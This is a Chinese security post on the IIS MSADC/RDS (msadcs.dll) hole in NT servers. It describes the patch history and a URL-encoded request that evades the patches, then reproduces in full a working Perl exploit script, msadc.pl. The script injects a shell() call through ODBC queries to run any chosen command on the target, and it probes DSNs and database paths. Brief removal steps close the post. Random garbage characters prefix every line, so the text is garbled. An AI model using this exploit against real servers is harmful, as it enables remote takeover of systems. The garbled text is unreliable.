IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
u{d\3-]/ REc+@;B 涉及程序:
R}J}Qb Microsoft NT server
%IhUQ6 Uk@'[_1z 描述:
}<KQ+ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F* h\ #? 9?L,DThQ 详细:
KVA~|j B 如果你没有时间读详细内容的话,就删除:
hH])0C c:\Program Files\Common Files\System\Msadc\msadcs.dll
&m8Z3+Ea 有关的安全问题就没有了。
Dg~L" d ub%fs 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
[44C`x[8M+ 3Lw&HtH 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
\2huDNW&
! 关于利用ODBC远程漏洞的描述,请参看:
uqFYa bU (>usa|| http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ^j>w<ljzz }V I}O{ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
7ElU5I<S http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2ms@CQy(00 zc#$hIi 这里不再论述。
DSX.84 \I[50eh| 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
.QVZ! m2h@* /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
*%;+3SV 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
RwyRPc_ l:$i}.C TOC2[mc' #将下面这段保存为txt文件,然后: "perl -x 文件名"
~&\} qz3 /CfgxPo #!perl
U2TR>0l #
VsR8|Hn$ # MSADC/RDS 'usage' (aka exploit) script
L^><APlX #
DJ.n8hne # by rain.forest.puppy
M>LgEc-v67 #
Vq>$ZlvS # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
;I@@PUnR # beta test and find errors!
h#o?O k \[yg f6#[ use Socket; use Getopt::Std;
DLBHZ?+! getopts("e:vd:h:XR", \%args);
C0v1x=(xiM (#?k|e"Y"` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
X+LG Z4]D K#_x.:<J if (!defined $args{h} && !defined $args{R}) {
ecIZ+G)k print qq~
& Y Y^Bd# Usage: msadc.pl -h <host> { -d <delay> -X -v }
!wNj;ST* -h <host> = host you want to scan (ip or domain)
'wm :Xa -d <seconds> = delay between calls, default 1 second
M`u&-6 -X = dump Index Server path table, if available
\!Cc[n(f# -v = verbose
!eE;MaS> -e = external dictionary file for step 5
?vn9HhTD U?.cbB, Or a -R will resume a command session
Oll,;{<O TP R$oO2 ~; exit;}
_G0_<WH6 !${7 )=|=1 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
!]*Cwbh.
u if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
?=#vp / if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
JDp{d c if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
yMVlTO $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
#|R#/Yc@Bv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
kACgP!~/1 sjIUW$ if (!defined $args{R}){ $ret = &has_msadc;
C(@#I7 G die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
&Ay[mZQ 7 F(}~~EtPHo print "Please type the NT commandline you want to run (cmd /c assumed):\n"
6#gS`X23Y . "cmd /c ";
i&_&4 $in=<STDIN>; chomp $in;
~dz,eB $command="cmd /c " . $in ;
m]Gxep0% F)n^pT if (defined $args{R}) {&load; exit;}
kVeR{i<*( R!Lh~~@{( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
vOQ
3A%/ &try_btcustmr;
X"Ca %<]4]h print "\nStep 2: Trying to make our own DSN...";
@]F1J &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
;U)xZ _Ew~ hteAuz4H print "\nStep 3: Trying known DSNs...";
bo|3sN+D &known_dsn;
v1O 1-aM 0(|Yy/Yq print "\nStep 4: Trying known .mdbs...";
scQnL'\ &known_mdb;
c$P68$FB Cno+rmsfT if (defined $args{e}){
`p'682x I print "\nStep 5: Trying dictionary of DSN names...";
|w].*c}Z &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
j/p1/sJ[y J5Ovj,[EZ print "Sorry Charley...maybe next time?\n";
M~eXC exit;
+=M N_ 4^(aG7 ##############################################################################
nr]:Y3KyxX |5TzRz sub sendraw { # ripped and modded from whisker
sXaudT sleep($delay); # it's a DoS on the server! At least on mine...
;_p$5GVR| my ($pstr)=@_;
J~.` socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
xQ,My die("Socket problems\n");
\)`OEGdOR\ if(connect(S,pack "SnA4x8",2,80,$target)){
ko{7^]gR select(S); $|=1;
U[EZ,7n8 print $pstr; my @in=<S>;
^V7'S< select(STDOUT); close(S);
YN}vAFR` return @in;
S7
!;Z@ } else { die("Can't connect...\n"); }}
Zk ] /m :i9=Wj ##############################################################################
H! P$p-*. ?>s[B7wMp sub make_header { # make the HTTP request
SceK$ my $msadc=<<EOT
l0w<NZF POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
^_gH}~l+U User-Agent: ACTIVEDATA
pf$gvL Host: $ip
4G2iT+X- Content-Length: $clen
"IN[( Connection: Keep-Alive
.+(R,SvN%< %k'>bmJ ADCClientVersion:01.06
$uUR@l Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
%jJ|4\ $a'}7Q_ --!ADM!ROX!YOUR!WORLD!
=&I9d;7 Content-Type: application/x-varg
4w5);x. Content-Length: $reqlen
#w@V!o FDal;T
EOT
Ggk#>O G ; $msadc=~s/\n/\r\n/g;
@1N.;]| return $msadc;}
=}g-N)^ Vbv)C3ezD ##############################################################################
!nU|3S[b
ShesJj sub make_req { # make the RDS request
N 9W,p2 my ($switch, $p1, $p2)=@_;
FBxg^g%PB@ my $req=""; my $t1, $t2, $query, $dsn;
> JC"YB 3Fw7q" if ($switch==1){ # this is the btcustmr.mdb query
)G),iy $query="Select * from Customers where City=" . make_shell();
Cto>~pV $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
xLSf
/8e $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
zygH-3C7o 8]mRX~ elsif ($switch==2){ # this is general make table query
H'+3<t> $query="create table AZZ (B int, C varchar(10))";
n^|SN9_r $dsn="$p1";}
{)(Mkm+d 2HO2 elsif ($switch==3){ # this is general exploit table query
6of9lO: $query="select * from AZZ where C=" . make_shell();
U+R9bn $dsn="$p1";}
2@W`OW Njm ~b@"ir+g4 elsif ($switch==4){ # attempt to hork file info from index server
_Q 'f^Kj $query="select path from scope()";
$*`E;}S0 $dsn="Provider=MSIDXS;";}
U1 `pY:P P?^%i elsif ($switch==5){ # bad query
rJh$>V+ ' $query="select";
:k-@w5( $dsn="$p1";}
g&{CEfw& V-3;7 $t1= make_unicode($query);
&kcmkRRG $t2= make_unicode($dsn);
&@FufpPw/ $req = "\x02\x00\x03\x00";
4
|bu= T $req.= "\x08\x00" . pack ("S1", length($t1));
$4*gi& $req.= "\x00\x00" . $t1 ;
Yxy!&hPLv: $req.= "\x08\x00" . pack ("S1", length($t2));
1]9l
SE!E7 $req.= "\x00\x00" . $t2 ;
0"Euf41 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
[nG[ x|;| return $req;}
~^'WHuzPy 5`@yX[G ##############################################################################
6VS_L@ f:t j
sub make_shell { # this makes the shell() statement
)3 R5cq return "'|shell(\"$command\")|'";}
U_hzSf >6Jz=N, ##############################################################################
@REMl~"D5 n1aOpz6` sub make_unicode { # quick little function to convert to unicode
Z?d][zGw my ($in)=@_; my $out;
YI;MS:Qj for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
{6%-/$LX return $out;}
Q+/P>5O/ OO'zIC<z ##############################################################################
w+Gav4 |Qb@. sub rdo_success { # checks for RDO return success (this is kludge)
xj9xUun my (@in) = @_; my $base=content_start(@in);
*K&
$9fah if($in[$base]=~/multipart\/mixed/){
F(ZczwvR return 1 if( $in[$base+10]=~/^\x09\x00/ );}
dWu;F^ return 0;}
Lxv6\3I+ 6$kh5$[ ##############################################################################
q: X^V$` ef!f4u\ sub make_dsn { # this makes a DSN for us
tv Zq):c my @drives=("c","d","e","f");
x8x-b>|$&< print "\nMaking DSN: ";
dt>9mF q foreach $drive (@drives) {
;)SWwhQ print "$drive: ";
Bj"fUI!dK my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
:6Tv4ZUvcG "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
&;`E3$> . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
u.*}'C>^^v $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4)>S3Yr return 0 if $2 eq "404"; # not found/doesn't exist
KV-h~C if($2 eq "200") {
OT$++cj^ foreach $line (@results) {
JStEOQF4 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
^. } return 0;}
$pt~?ZZ3- mB6%. " ##############################################################################
Gd'_X D K r<UPr sub verify_exists {
us8HXvvp{ my ($page)=@_;
E$&bl my @results=sendraw("GET $page HTTP/1.0\n\n");
ks
%arm& return $results[0];}
r:Q=6j, -3y ##############################################################################
V#+F*w?&D d(@ ov^e- sub try_btcustmr {
yW\kmv.O my @drives=("c","d","e","f");
f*IvaY my @dirs=("winnt","winnt35","winnt351","win","windows");
_ysakn Crl:v8 foreach $dir (@dirs) {
`Q/\w1-Q print "$dir -> "; # fun status so you can see progress
aR'~=t&;z1 foreach $drive (@drives) {
ori[[~OyB print "$drive: "; # ditto
FQE(qltf, $reqlen=length( make_req(1,$drive,$dir) ) - 28;
Vg :''!4t2 $reqlenlen=length( "$reqlen" );
P}>>$$b\Yi $clen= 206 + $reqlenlen + $reqlen;
VR%*8= ,rF!o_7 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
'H4?V if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
B2KBJ4rI[1 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
FFe{=H,= p:eaZ ##############################################################################
lDF7~N9J_ vlipB} sub odbc_error {
=P_*.SgR my (@in)=@_; my $base;
!4<A|$mQ my $base = content_start(@in);
;Bw3@c if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
rz2,42H] $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
J, +/<Y! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
;O5Iu $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
DRTT3;,N return $in[$base+4].$in[$base+5].$in[$base+6];}
#l.s>B4 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
<^'IC9D] print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Ul'H(eH.v $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
I)0_0JXs .I $+
E ##############################################################################
}jU)s{>fb KoWG:~>| sub verbose {
(:%t my ($in)=@_;
{sj{3I u return if !$verbose;
@xso{$ z?j print STDOUT "\n$in\n";}
D0MW~Y6{ Asq&Z$bB_ ##############################################################################
zwP*7u$CH l8_RA sub save {
gQ%mVJB{( my ($p1, $p2, $p3, $p4)=@_;
|z&7KoYK' open(OUT, ">rds.save") || print "Problem saving parameters...\n";
^ P
A|RFP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Goy[P2m close OUT;}
Cy B4apJ BO6XY90( ##############################################################################
,9ew75Jl oz[G'[\}F sub load {
:<0lC j my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
oR7f3';?6 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Bsd~_y}8 @p=<IN>; close(IN);
JS<w43/j $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
g2rH"3sC $target= inet_aton($ip) || die("inet_aton problems");
322-'S3< print "Resuming to $ip ...";
De>,i%`Q,D $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
w
!<-e> if($p[1]==1) {
/ T_v8{D $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
g:p`.KuB $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Gc5mR9pV my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Zw%:mZN
if (rdo_success(@results)){print "Success!\n";}
>fkV65w{* else { print "failed\n"; verbose(odbc_error(@results));}}
2
'$nz elsif ($p[1]==3){
fZJM'+J@A if(run_query("$p[3]")){
)|5mW print "Success!\n";} else { print "failed\n"; }}
<;jg/ elsif ($p[1]==4){
3vQVk if(run_query($drvst . "$p[3]")){
+Q[SddI print "Success!\n"; } else { print "failed\n"; }}
M-F{I%Vx exit;}
:6m"}8*q8 AI,E9 ##############################################################################
300[2}Y] Gf9O\wrs sub create_table {
W3^^aD- my ($in)=@_;
o"A?Aq $reqlen=length( make_req(2,$in,"") ) - 28;
Fta=yH} $reqlenlen=length( "$reqlen" );
o>m*e7l, $clen= 206 + $reqlenlen + $reqlen;
%N\8!aXnf my @results=sendraw(make_header() . make_req(2,$in,""));
) :Px`] 5 return 1 if rdo_success(@results);
?nE9@G5Gc my $temp= odbc_error(@results); verbose($temp);
_(8N*q*w return 1 if $temp=~/Table 'AZZ' already exists/;
RmOkb~ return 0;}
?#nk}=;g8 ~*~aFf5 ##############################################################################
[i>D|X rTJ;s sub known_dsn {
XB:E<I'q!3 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
jxYze/I my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
vAOThj) "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
e<~bDFH "banner", "banners", "ads", "ADCDemo", "ADCTest");
%/!f^PIwX ofgNL .u foreach $dSn (@dsns) {
zU4*FXt print ".";
4CS$%Cu\?w next if (!is_access("DSN=$dSn"));
)2u_[Jc= if(create_table("DSN=$dSn")){
N&(MM.\`^ print "$dSn successful\n";
ldRq:M5z if(run_query("DSN=$dSn")){
^.*zBrFx print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
0a,B&o1 print "Something's borked. Use verbose next time\n";}}} print "\n";}
{"rL3Lk *w6F0>u ##############################################################################
5F]2.<i '?3(& sub is_access {
R(f%*S4 my ($in)=@_;
N,F[x0&? $reqlen=length( make_req(5,$in,"") ) - 28;
9w1`_r[J $reqlenlen=length( "$reqlen" );
3 [O+wVv $clen= 206 + $reqlenlen + $reqlen;
!?K#f?x<? my @results=sendraw(make_header() . make_req(5,$in,""));
':f,RG my $temp= odbc_error(@results);
&F*eo`o}6 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
(SA^>r return 0;}
Ac}5, \#C]|\ ##############################################################################
Pv*]AF;9pQ @jZ1WHS_a sub run_query {
)d{fDwrx1 my ($in)=@_;
B f.- 5 $reqlen=length( make_req(3,$in,"") ) - 28;
VLfKN)g $reqlenlen=length( "$reqlen" );
:g+wv}z $clen= 206 + $reqlenlen + $reqlen;
S2#@j#\ my @results=sendraw(make_header() . make_req(3,$in,""));
1`~.!yd8( return 1 if rdo_success(@results);
@S&QxE^ my $temp= odbc_error(@results); verbose($temp);
tNYuuC%N return 0;}
Sj viH !';;q ##############################################################################
:xY9eq= | _nBiHjNn sub known_mdb {
vLGnLpt my @drives=("c","d","e","f","g");
M5N#xgR my @dirs=("winnt","winnt35","winnt351","win","windows");
ezS@`_pR; my $dir, $drive, $mdb;
N).'> my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
J"XZnb)E= RxVZn"" # this is sparse, because I don't know of many
u7},+E)+B my @sysmdbs=( "\\catroot\\icatalog.mdb",
E=]|v+#~ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
ss`Sl$ "\\system32\\certmdb.mdb",
vb9C "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
k=O 7}pg7EF3z my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
FJn.V1 "\\cfusion\\cfapps\\forums\\forums_.mdb",
nW
oh(a "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
O-3a U!L "\\cfusion\\cfapps\\security\\realm_.mdb",
@]Ac >& "\\cfusion\\cfapps\\security\\data\\realm.mdb",
3KtJT&RuL "\\cfusion\\database\\cfexamples.mdb",
oFsV0 {x%) "\\cfusion\\database\\cfsnippets.mdb",
ju1B._48 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
fT
YlIT9 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
bas1(/|S "\\cfusion\\brighttiger\\database\\cleam.mdb",
vdot . "\\cfusion\\database\\smpolicy.mdb",
g|tclBx "\\cfusion\\database\cypress.mdb",
!.499H3 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
!1Ht{cA0 "\\website\\cgi-win\\dbsample.mdb",
wEQZ9?\ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
msQ?V&+< "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
K87yQOjPv ); #these are just
F?qg?1vB| foreach $drive (@drives) {
s(r4m/ foreach $dir (@dirs){
KxWm63" foreach $mdb (@sysmdbs) {
-&lD0p>*g print ".";
}L=Qp=4 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
,vAcri
97 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
`v)ZOw9& if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
lAkg47i print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
\mWH8Z
}Z } else { print "Something's borked. Use verbose next time\n"; }}}}}
]Qe"S>,?` }]=@Y/p foreach $drive (@drives) {
jsP+,brO foreach $mdb (@mdbs) {
m ^w{:\p print ".";
w:mm@8N if(create_table($drv . $drive . $dir . $mdb)){
8Y:x+v5 print "\n" . $drive . $dir . $mdb . " successful\n";
}T}xVd0 if(run_query($drv . $drive . $dir . $mdb)){
(O&HCT| print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
yR"mRy1 } else { print "Something's borked. Use verbose next time\n"; }}}}
lNTbd"}$: }
5qFHy[IA ZH~Wn#Wp ##############################################################################
DcE4r>8B Vlge*4q sub hork_idx {
l hST%3Ld print "\nAttempting to dump Index Server tables...\n";
.hnq>R\ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
tq51;L $reqlen=length( make_req(4,"","") ) - 28;
LjIkZ'HuF $reqlenlen=length( "$reqlen" );
D0>Pc9 $clen= 206 + $reqlenlen + $reqlen;
#$F*.vQSs+ my @results=sendraw2(make_header() . make_req(4,"",""));
9TwKd0AT$& if (rdo_success(@results)){
I1I-,~hO my $max=@results; my $c; my %d;
<kWkc|zBY for($c=19; $c<$max; $c++){
"=V!-+*@G@ $results[$c]=~s/\x00//g;
U2v;GIo$yU $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
A2$05a$% $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
<j3|Mh_(I $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
z[y $d{"$1$2"}="";}
v8n^~=SH foreach $c (keys %d){ print "$c\n"; }
amQTPNI } else {print "Index server doesn't seem to be installed.\n"; }}
n~ 0MhE0H =ADOf_n} ##############################################################################
Ejnk\ 8: '8(UiB5d sub dsn_dict {
/rky open(IN, "<$args{e}") || die("Can't open external dictionary\n");
:zNNtv iA while(<IN>){
|kTq
&^$ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
W Bb*2 next if (!is_access("DSN=$dSn"));
+r&:c[ if(create_table("DSN=$dSn")){
l]gW_wUQd print "$dSn successful\n";
JoZSp"R if(run_query("DSN=$dSn")){
;lfv.-u:< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:Gew8G print "Something's borked. Use verbose next time\n";}}}
#%w)w R3 print "\n"; close(IN);}
>8b%*f8R ) TRUx ##############################################################################
@4]{ZUV ~O]{m,)n sub sendraw2 { # ripped and modded from whisker
mkrVeBp sleep($delay); # it's a DoS on the server! At least on mine...
7p1B"% my ($pstr)=@_;
z 7+>G/o socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
0Ue~dVrM(? die("Socket problems\n");
N
Hn#c3o if(connect(S,pack "SnA4x8",2,80,$target)){
_dmG#_1 print "Connected. Getting data";
96P&+ open(OUT,">raw.out"); my @in;
NEvNj select(S); $|=1; print $pstr;
MSRk|0Mcr while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
yvnDS"0< close(OUT); select(STDOUT); close(S); return @in;
xW2?\em } else { die("Can't connect...\n"); }}
'+3C2! 6 N:Ps8Hg ##############################################################################
Zo
}^"u IAmZ_2 sub content_start { # this will take in the server headers
B<HN$/ my (@in)=@_; my $c;
L&~' SC for ($c=1;$c<500;$c++) {
upX@8WxR if($in[$c] =~/^\x0d\x0a/){
H6Bw3I[ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
lJdYR'/Wd else { return $c+1; }}}
B|,d
return -1;} # it should never get here actually
3s67)n <]X6%LX ##############################################################################
9X
+dp FFN Sn sub funky {
[;4;.V my (@in)=@_; my $error=odbc_error(@in);
M'F<1( if($error=~/ADO could not find the specified provider/){
Uw!d;YQm print "\nServer returned an ADO miscofiguration message\nAborting.\n";
z(EpJK=`_ exit;}
/7fd"U$Lh if($error=~/A Handler is required/){
'@Yp@
_ print "\nServer has custom handler filters (they most likely are patched)\n";
zqBzataR: exit;}
q]VB}nO if($error=~/specified Handler has denied Access/){
5G$ ,2i( print "\nServer has custom handler filters (they most likely are patched)\n";
Y*\N{6$2 exit;}}
f=u +G E!BzE_|i ##############################################################################
~(7ct*U~ _N)&<'lB< sub has_msadc {
1iNMgA my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
=p"ma83 my $base=content_start(@results);
p\9}}t7n return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
w7&.Uqjf return 0;}
WglpWp) &%;n9K ########################
o*ucw3s> 4nQ5zwiV M ?AX:0 解决方案:
8FZC0j.^DH 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
s@{~8cHgU 2、移除web 目录: /msadc